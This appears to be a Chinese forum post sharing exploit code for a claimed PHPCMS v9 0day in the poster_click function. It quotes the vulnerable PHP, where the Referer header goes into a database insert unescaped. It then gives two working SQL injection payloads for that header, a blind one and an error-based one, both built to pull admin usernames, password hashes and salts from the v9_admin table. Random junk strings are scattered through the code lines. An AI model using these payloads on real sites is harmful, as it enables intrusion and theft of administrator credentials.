phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
5 v) y3 W. Q2 q: H/ `) J
问题函数\phpcms\modules\poster\index.php
- \1 l! a: u9 T# |" X4 r+ `  ?+ a
public function poster_click() {
9 u2 \/ b& S% u) ?5 E$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
( R+ T: D3 N* S9 E% t$ a$ip = ip();
$area = $ip_area->get($ip);
( ~% Y7 q: E! b' Y6 @3 G3 g$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
' G" g6 w! g0 J$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
+ V! L7 c0 W4 R' b& F$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
# ~+ ~9 e8 `$ }" q! k& N# P$setting = string2array($r['setting']);
if (count($setting)==1) {
% P% P  F0 s7 f4 R! Q/ ?$url = $setting['1']['linkurl'];
/ v2 g' L: g- ^} else {
% [+ `/ D8 A  u2 Z& S0 o$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
2 h, Q( a. m- V/ j6 cheader('Location: '.$url);
! T) U  ]0 y, J2 F: T; F1 u}

9 L% j% s; t. b5 d5 M
9 B  j( x( P6 d: h# Q$ o
利用方式：

3 L, {, T3 Z0 A" s8 _$ R1、可以采用盲注入的手法：
' V5 n5 z) ?0 M0 C$ X9 Y
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
( V& `. ?) Q  g7 [/ R* Z7 S7 Y
9 _4 t) b0 N1 D' M* r  K通过返回页面，正常与否一个个猜解密码字段。
6 o: H! O6 K  E3 J% V- h4 x
2、代码是花开写的，随手附上了：
1 E  X; n6 P& A% _) J5 n5 D
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
+ f" C$ W& g/ G' j) m  W0 ~0 u$ p
& Q7 e9 B1 V& O" S1 S- d此方法是爆错注入手法，原理自查。

5 t- L1 @5 B; i8 S3 {3 L' q7 l1 t
$ H" e; }( M3 R) _3 D- C3 O1 x
